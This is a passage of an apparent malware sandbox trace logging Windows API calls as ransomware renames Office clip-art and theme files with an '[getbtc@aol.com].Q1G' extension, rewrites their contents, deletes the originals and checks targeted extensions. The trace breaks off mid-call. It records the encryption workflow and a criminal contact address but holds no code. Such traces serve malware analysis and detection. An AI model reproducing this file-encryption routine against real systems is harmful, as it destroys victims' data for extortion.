[0242.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0242.441] GetLastError () returned 0x0 [0242.441] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x17b6, lpOverlapped=0x0) returned 1 [0242.443] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0242.444] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.444] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.444] SetEndOfFile (hFile=0x360) returned 1 [0242.444] CloseHandle (hObject=0x360) returned 1 [0242.444] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.444] SetEndOfFile (hFile=0x200) returned 1 [0242.447] CloseHandle (hObject=0x200) returned 1 [0242.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0242.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.448] lstrlenW (lpString=".doc") returned 4 [0242.448] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.448] lstrlenW (lpString=".docx") returned 5 [0242.448] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0242.448] lstrlenW (lpString=".pdf") returned 4 [0242.448] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.448] lstrlenW (lpString=".xls") returned 4 [0242.448] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.448] lstrlenW (lpString=".xlsx") returned 5 [0242.448] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0242.448] lstrlenW (lpString=".ppt") returned 4 [0242.448] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.448] lstrlenW (lpString=".zip") returned 4 [0242.448] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.448] lstrlenW (lpString=".rar") returned 4 [0242.448] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.448] lstrlenW (lpString=".bz2") returned 4 [0242.448] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.448] lstrlenW (lpString=".7z") returned 3 [0242.448] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.448] lstrlenW (lpString=".dbf") returned 4 [0242.448] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.448] lstrlenW (lpString=".1cd") returned 4 [0242.448] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.449] lstrlenW (lpString=".jpg") returned 4 [0242.449] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.449] lstrlenW (lpString=".doc") returned 4 [0242.449] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.449] lstrlenW (lpString=".docx") returned 5 [0242.449] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0242.449] lstrlenW (lpString=".pdf") returned 4 [0242.449] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.449] lstrlenW (lpString=".xls") returned 4 [0242.449] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.449] lstrlenW (lpString=".xlsx") returned 5 [0242.449] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0242.449] lstrlenW (lpString=".ppt") returned 4 [0242.449] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.449] lstrlenW (lpString=".zip") returned 4 [0242.449] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.449] lstrlenW (lpString=".rar") returned 4 [0242.449] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.449] lstrlenW (lpString=".bz2") returned 4 [0242.449] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.449] lstrlenW (lpString=".7z") returned 3 [0242.449] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.449] lstrlenW (lpString=".dbf") returned 4 [0242.449] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.449] lstrlenW (lpString=".1cd") returned 4 [0242.449] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.450] lstrlenW (lpString=".jpg") returned 4 [0242.450] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.450] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.450] lstrlenW (lpString="PARNT_05.MID") returned 12 [0242.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.881] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=6020) returned 1 [0242.881] CloseHandle (hObject=0x398) returned 1 [0242.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 0x20 [0242.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.881] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.881] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.224] GetLastError () returned 0x0 [0243.224] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x1784, lpOverlapped=0x0) returned 1 [0243.226] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x1790, lpOverlapped=0x0) returned 1 [0243.228] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.228] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.228] SetEndOfFile (hFile=0x200) returned 1 [0243.228] CloseHandle (hObject=0x200) returned 1 [0243.229] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.229] SetEndOfFile (hFile=0x398) returned 1 [0243.230] CloseHandle (hObject=0x398) returned 1 [0243.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0243.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0243.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0243.300] lstrlenW (lpString=".doc") returned 4 [0243.300] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.300] lstrlenW (lpString=".docx") returned 5 [0243.300] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0243.300] lstrlenW (lpString=".pdf") returned 4 [0243.300] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.300] lstrlenW (lpString=".xls") returned 4 [0243.300] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.300] lstrlenW (lpString=".xlsx") returned 5 [0243.300] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0243.300] lstrlenW (lpString=".ppt") returned 4 [0243.300] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0243.300] lstrlenW (lpString=".zip") returned 4 [0243.300] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.300] lstrlenW (lpString=".rar") returned 4 [0243.300] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.300] lstrlenW (lpString=".bz2") returned 4 [0243.300] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.300] lstrlenW (lpString=".7z") returned 3 [0243.300] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0243.300] lstrlenW (lpString=".dbf") returned 4 [0243.300] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0243.300] lstrlenW (lpString=".1cd") returned 4 [0243.300] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0243.300] lstrlenW (lpString=".jpg") returned 4 [0243.300] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0243.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0243.301] lstrlenW (lpString=".doc") returned 4 [0243.301] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.301] lstrlenW (lpString=".docx") returned 5 [0243.301] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0243.301] lstrlenW (lpString=".pdf") returned 4 [0243.301] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.301] lstrlenW (lpString=".xls") returned 4 [0243.301] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.301] lstrlenW (lpString=".xlsx") returned 5 [0243.301] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0243.301] lstrlenW (lpString=".ppt") returned 4 [0243.301] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0243.301] lstrlenW (lpString=".zip") returned 4 [0243.301] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.301] lstrlenW (lpString=".rar") returned 4 [0243.301] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.301] lstrlenW (lpString=".bz2") returned 4 [0243.301] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.301] lstrlenW (lpString=".7z") returned 3 [0243.301] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0243.301] lstrlenW (lpString=".dbf") returned 4 [0243.301] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0243.301] lstrlenW (lpString=".1cd") returned 4 [0243.301] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0243.301] lstrlenW (lpString=".jpg") returned 4 [0243.301] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.302] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.302] lstrlenW (lpString="Apothecary.eftx") returned 15 [0243.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0243.859] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=49025) returned 1 [0243.859] CloseHandle (hObject=0x360) returned 1 [0243.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 0x20 [0243.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.950] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.950] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.007] GetLastError () returned 0x0 [0244.007] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xbf81, lpOverlapped=0x0) returned 1 [0244.031] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xbf90, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xbf90, lpOverlapped=0x0) returned 1 [0244.033] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.033] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0244.033] SetEndOfFile (hFile=0x398) returned 1 [0244.033] CloseHandle (hObject=0x398) returned 1 [0244.033] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.033] SetEndOfFile (hFile=0x3a0) returned 1 [0244.036] CloseHandle (hObject=0x3a0) returned 1 [0244.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 1 [0244.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0244.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0244.389] lstrlenW (lpString=".doc") returned 4 [0244.389] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.389] lstrlenW (lpString=".docx") returned 5 [0244.389] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.389] lstrlenW (lpString=".pdf") returned 4 [0244.389] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.390] lstrlenW (lpString=".xls") returned 4 [0244.390] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.390] lstrlenW (lpString=".xlsx") returned 5 [0244.390] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.390] lstrlenW (lpString=".ppt") returned 4 [0244.390] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0244.390] lstrlenW (lpString=".zip") returned 4 [0244.390] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.390] lstrlenW (lpString=".rar") returned 4 [0244.390] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.390] lstrlenW (lpString=".bz2") returned 4 [0244.390] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.390] lstrlenW (lpString=".7z") returned 3 [0244.390] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0244.390] lstrlenW (lpString=".dbf") returned 4 [0244.390] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0244.390] lstrlenW (lpString=".1cd") returned 4 [0244.390] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0244.390] lstrlenW (lpString=".jpg") returned 4 [0244.390] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0244.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0244.390] lstrlenW (lpString=".doc") returned 4 [0244.390] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.390] lstrlenW (lpString=".docx") returned 5 [0244.390] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.390] lstrlenW (lpString=".pdf") returned 4 [0244.390] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.390] lstrlenW (lpString=".xls") returned 4 [0244.390] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.390] lstrlenW (lpString=".xlsx") returned 5 [0244.391] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.391] lstrlenW (lpString=".ppt") returned 4 [0244.391] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0244.391] lstrlenW (lpString=".zip") returned 4 [0244.391] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.391] lstrlenW (lpString=".rar") returned 4 [0244.391] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.391] lstrlenW (lpString=".bz2") returned 4 [0244.391] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.391] lstrlenW (lpString=".7z") returned 3 [0244.391] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0244.391] lstrlenW (lpString=".dbf") returned 4 [0244.391] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0244.391] lstrlenW (lpString=".1cd") returned 4 [0244.391] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0244.391] lstrlenW (lpString=".jpg") returned 4 [0244.391] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.391] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0244.391] lstrlenW (lpString="Horizon.eftx") returned 12 [0244.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0244.470] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=211090) returned 1 [0244.470] CloseHandle (hObject=0x3a8) returned 1 [0244.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 0x20 [0244.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0244.471] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.471] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.471] GetLastError () returned 0x0 [0244.471] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x33892, lpOverlapped=0x0) returned 1 [0244.479] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x338a0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: 